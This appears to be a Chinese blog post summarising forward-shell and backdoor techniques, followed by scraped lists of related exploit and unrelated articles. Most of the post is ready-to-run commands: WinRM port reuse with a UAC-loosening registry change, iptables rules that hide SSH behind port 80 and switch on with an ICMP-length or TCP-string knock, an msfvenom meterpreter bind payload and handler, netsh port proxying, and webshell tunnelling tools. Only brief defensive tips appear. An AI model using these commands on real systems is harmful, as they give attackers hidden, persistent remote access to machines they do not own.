正向shell总结

一.winrm,http.sys(端口复用)

介绍

winrm

WinRM全称是Windows Remote Management,是微软服务器硬件管理功能的一部分,能够对本地或远程的服务器进行管理。WinRM服务能够让管理员远程登录Windows操作系统,获得一个类似Telnet的交互式命令行shell,而底层通讯协议使用的是HTTP。

HTTP.sys

HTTP.sys驱动是IIS的主要组成部分,主要负责HTTP协议相关的处理,它有一个重要的功能叫Port Sharing,即端口共享。所有基于HTTP.sys驱动的HTTP应用可以共享同一个端口,只需要各自注册的url前缀不一样即可。

winrm默认监听端口:

5985 http
5986 https

利用场景及其限制

  1. 目标机器开启winrm服务
  2. 目标机器是win server,windows主机不行
  3. 目标机器winrm没有白名单(一旦白名单ip是无法登录的)
  4. 组合HTTP.sys驱动自带的端口复用功能
  5. 必须要知道明文密码(也可以使用hash传递)

靶机配置

开启winrm服务,并且监听80端口
winrm quickconfig -q
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}
winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}

本地配置

winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}

执行命令

winrs -r:http://www.baidu.com -u:administrator -p:Passw0rd whoami
执行命令是cmd即可进行shell winrm invoke create wmicimv2/win32_process -SkipCAcheck-skipCNcheck @{commandline="calc.exe"} -r:DC.whoamianony.org
可以在远程主机启动计算器 Invoke-Command-ComputerName 192.168.198.129 -Credential root -Command {ipconfig}
# Invoke-Command -ComputerName [host] -Credential [user] -Command {[command]}
# Invoke-Command -ComputerName [host] -Credential [user] -ScriptBlock {[command]}

HASH登录

项目地址:

https://github.com/Hackplayers/evil-winrm

使用方法:

ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'

错误以及其他问题解决

原因:仅仅支持server,不支持windows
  • UAC问题

    WinRM服务也是受UAC影响的,所以本地管理员用户组里面只有administrator可以登录,其他管理员用户是没法远程登录WinRM的。要允许本地管理员组的其他用户登录WinRM,需要修改注册表设置。
    
    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
  • 在已有WinRM服务的情况下,对于非80端口的web服务要如何处理

    把监听改成某非80端口,然后有别的需要可以端口转发

执行chcp 437即可解决
原因是:chcp不同导致的

防御手段

  • 设置主机白名单,仅允许某些可信的计算机连接到 WinRM 服务器。
  • 严格限制,确保仅允许本地管理组和 WinRMRemoteWMIUsers__ 组中的用户有权使用 WinRM。

二.HTTP Server API

本程序利用HTTP.sys官方接口,向该驱动注册url前缀,与IIS共享端口,从而实现后门功能。

项目地址:

https://github.com/Reuodut/Windows-Hack-Code

三.reGeorg

项目地址:

https://github.com/L-codes/neoreg

1.生成密码

python neoreg.py generate -k password

2.上传

3.本地开启代理

python neoreg.py -k password -u "http://192.168.198.129/tunnel.php"

本地的1080端口即可访问

4.代理

四.iptables复用

iptables基础

sudo iptables -L -v --line-number
查看iptables的条目 sudo iptables -D INPUT 1
删除iptables条目 重启计算机的时候
iptables自动清除

条件

如果目标严格禁止仅仅开放80端口,我们就需要把80的ssh流量转发到22的ssh

实验环境

kali:192.168.198.134

ubuntu:192.168.198.133
80端口开放

1.根据源地址做端口复用

iptables -t nat -A PREROUTING -p tcp -s 192.168.198.134 --dport 80 -j REDIRECT --to-port 22

将从kali访问的80端口的流量重定向到22端口

问题

别的师傅说因为所有的流量都转发到了22,所以正常访问80端口会访问不了,但是经过我的实际测试,我用的python开启的http服务,连接80端口的ssh的时候,也是可以正常访问的。

不限制访问ip

2.根据源地址做端口的访问(限制源IP)

iptables -t nat -A PREROUTING -p tcp -s 192.168.198.134 --sport 33333 --dport 80 -j REDIRECT --to-port 22

只有192.168.198.134(kali)的33333端口访问80的流量会被转发到22端口去
nohup socat tcp-listen:44444,fork,reuseaddr tcp:192.168.198.133:80,sourceport=33333,reuseaddr &
ssh -p 44444 cmrex@127.0.0.1 我们把本地44444端口转发到33333端口,然后我们访问本地的44444端口

问题

如果想要多开几个ssh连接,我们只需要把端口再转发几个就行了

3.利用icmp做开关

iptables -t nat -N LETMEIN
#创建端口复用链 iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
#创建端口复用规则,将流量转发至 22 端口 iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1139 -m recent --set --name letmein --rsource -j ACCEPT
#开启开关,如果接收到一个长为 1139 的 ICMP 包,则将来源 IP 添加到加为letmein的列表中 iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1140 -m recent --name letmein --remove -j ACCEPT
#关闭开关,如果接收到一个长为 1140 的 ICMP 包,则将来源 IP 从 letmein 列表中去掉 iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
#如果发现 SYN 包的来源 IP 处于 letmein 列表中,将跳转到 LETMEIN 链进行处理,有效时间为 3600 秒

开启复用
ping -c 1 -s 1111 192.168.198.133
#向目标发送一个长度为 1111 的 ICMP 数据包(加上包头28,总长度实际为1139) 关闭复用
ping -c 1 -s 1112 192.168.198.133
#向目标发送一个长度为 1112 的 ICMP 数据包(加上包头 28,总长度实际为 1140)

开启:

关闭:

问题

如果网络中禁止ping,或者没有ping,则无法利用

4.利用TCP协议做开关

ubuntu中:

iptables -t nat -N LETMEIN
#创建端口复用链 iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
#创建端口复用规则,将流量转发至 22 端口 iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
#开启开关,如果接收到一个含有threathuntercoming的TCP包,则将来源 IP 添加到加为letmein的列表中 iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
#关闭开关,如果接收到一个含有threathunterleaving的TCP包,则将来源 IP 从letmein的列表中移除 iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
#如果发现 SYN 包的来源 IP 处于 letmein 列表中,将跳转到 LETMEIN 链进行处理,有效时间为 3600 秒

kali中:

开启复用,开启后本机到目标 80 端口的流量将转发至目标的 SSH
echo threathuntercoming | socat - tcp:192.168.198.133:80 关闭复用,关闭后,80 恢复正常:
echo threathunterleaving | socat - tcp:192.168.198.133:80

开启连接:

关闭连接:

问题

待续

五.msf正向shell

1.生成

msfvenom -p windows/meterpreter/bind_tcp -f exe LPORT=80 -o shell.exe

//从目标的80端口出来

2.监听连接

use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
run

3.结果

成功正向连接

web日志:

六.netsh

假定需要通过192.168.198.133的3389端口转80端口,则需要在192.168.198.133主机的命令行输入如下语句:

netsh interface portproxy add v4tov4 listenport=80 listenaddress=192.168.198.129 connectport=3389 connectaddress=192.168.198.129
netsh interface portproxy show all

删除:
netsh interface portproxy delete v4tov4 listenport=80 listenaddress=192.168.198.129

七.冰蝎正向后门代理流量

冰蝎有自带的正向流量代理工具

箭头所指处填写

0.0.0.0

本地要监听的流量代理端口即可

八.蚁剑反弹shell配合msf

需要用到蚁剑的插件:AS-exploit

深入分析CVE-2021-4034及漏洞复现的更多相关文章

  1. CVE¬-2020-¬0796 漏洞复现(本地提权)

    CVE­-2020-­0796 漏洞复现(本地提权) 0X00漏洞简介 Microsoft Windows和Microsoft Windows Server都是美国微软(Microsoft)公司的产品 ...

  2. 【漏洞复现】Tomcat CVE-2017-12615 远程代码执行漏洞

    漏洞描述 [漏洞预警]Tomcat CVE-2017-12615远程代码执行漏洞/CVE-2017-12616信息泄漏 https://www.secfree.com/article-395.html ...

  3. 20145330 《网络对抗》 Eternalblue(MS17-010)漏洞复现与S2-045漏洞的利用及修复

    20145330 <网络对抗> Eternalblue(MS17-010)漏洞利用工具实现Win 7系统入侵与S2-045漏洞的利用及修复 加分项目: PC平台逆向破解:注入shellco ...

  4. CVE-2018-15982漏洞复现

    作者:欧根 漏洞信息:CVE-2018-15982 Adobe已发布适用于Windows,macOS,Linux和Chrome OS的Adobe Flash Player安全更新.这些更新解决一个  ...

  5. tomcat7.x远程命令执行(CVE-2017-12615)漏洞漏洞复现

    tomcat7.x远程命令执行(CVE-2017-12615)漏洞漏洞复现 一.漏洞前言 2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017 ...

  6. struts2(s2-052)远程命令执行漏洞复现

    漏洞描述: 2017年9月5日,Apache Struts发布最新安全公告,Apache Struts2的REST插件存在远程代码执行的高危漏洞,该漏洞由lgtm.com的安全研究员汇报,漏洞编号为C ...

  7. 8.Struts2-057漏洞复现

    漏洞信息: 定义XML配置时如果namespace值未设置且上层动作配置(Action Configuration)中未设置或用通配符namespace时可能会导致远程代码执行. url标签未设置va ...

  8. Windows CVE-2019-0708 远程桌面代码执行漏洞复现

    Windows CVE-2019-0708 远程桌面代码执行漏洞复现 一.漏洞说明 2019年5月15日微软发布安全补丁修复了CVE编号为CVE-2019-0708的Windows远程桌面服务(RDP ...

  9. Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现

    Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现  一.     漏洞简介 漏洞编号和级别 CVE编号:CVE-2019-0232,危险级别:高危,CVSS分值:官方 ...

  10. Atlassian JIRA服务器模板注入漏洞复现(CVE-2019-11581)

    0x00 漏洞描述 Atlassian Jira是澳大利亚Atlassian公司的一套缺陷跟踪管理系统.该系统主要用于对工作中各类问题.缺陷进行跟踪管理. Atlassian Jira Server和 ...

随机推荐

  1. HDU 1312 Red and Black (DFS & BFS)

    原题链接:http://acm.hdu.edu.cn/showproblem.php?pid=1312 题目大意:有一间矩形房屋,地上铺了红.黑两种颜色的方形瓷砖.你站在其中一块黑色的瓷砖上,只能向相 ...

  2. HDU 1106 (1.3.5) 排序 (C语言描述)

    排序 Problem Description 输入一行数字,如果我们把这行数字中的'5'都看成空格,那么就得到一行用空格分割的若干非负整数(可能有些整数以'0'开头,这些头部的'0'应该被忽略掉,除非 ...

  3. CobaltStrike简介与安装

    CobaltStrike的安装我踩了不少坑,所以我将正确的安装及启动过程跟大家分享一下,以免大家走一些不必要的弯路 Cobaltstrike简介 Cobalt Strike是一款美国Red Team开 ...

  4. JUC之读写锁问题

    读写锁 读写锁在同一时刻可以允许多个读线程访问,但是在写线程访问时,所有的读线程和其他写线程均被阻塞.读写锁维护了一对锁,一个读锁和一个写锁,通过分离读锁和写锁,使得并发性相比一般的排他锁有了很大提升 ...

  5. IntelliJ IDEA最新破解方法

    IntelliJ IDEA最新破解方法 首先说下,本人使用idea版本是2021.2.3. 一.下载IDEA(推荐从官网下载) 官网地址:https://www.jetbrains.com/idea/ ...

  6. 【Java常用类】Calendar

    Calendar日历类 实例化 方法一 创建其子类**(GregorianCalendar)**的对象 方法二 调用其静态方法getInstance() Calendar instance = Cal ...

  7. java 报错: MalformedURLException: unknow protocol: f

    问题: java 使用 URL 读取文件解读报错 MalformedURLException 1.使用 URL对象解析文件报错MalformedURLException: unknow protoco ...

  8. covid19数据挖掘与可视化实验

    数据说明: 来源: https://www.kesci.com/mw/project/5e68db4acdf64e002c97b413/dataset (ncov) 日期:从2020年1月21日开始 ...

  9. LaTex用法笔记(一)——LaTex源文件的基本结构

    首先打开TeXstudio,创建一个新文件并保存 用\documentclass{article}引入一个文档类,也可以引用book/report/letter 然后用\begin{}和\end{}输 ...

  10. 『无为则无心』Python基础 — 41、Python中文件的读写操作(一)

    目录 1.文件操作步骤 2.文件的读写操作 (1)文件的打开 (2)打开文件模式 (3)获取一个文件对象 (4)关于文件路径 1.文件操作步骤 当我们要读取或者写入文件时,我们需要打开文件,在操作完毕 ...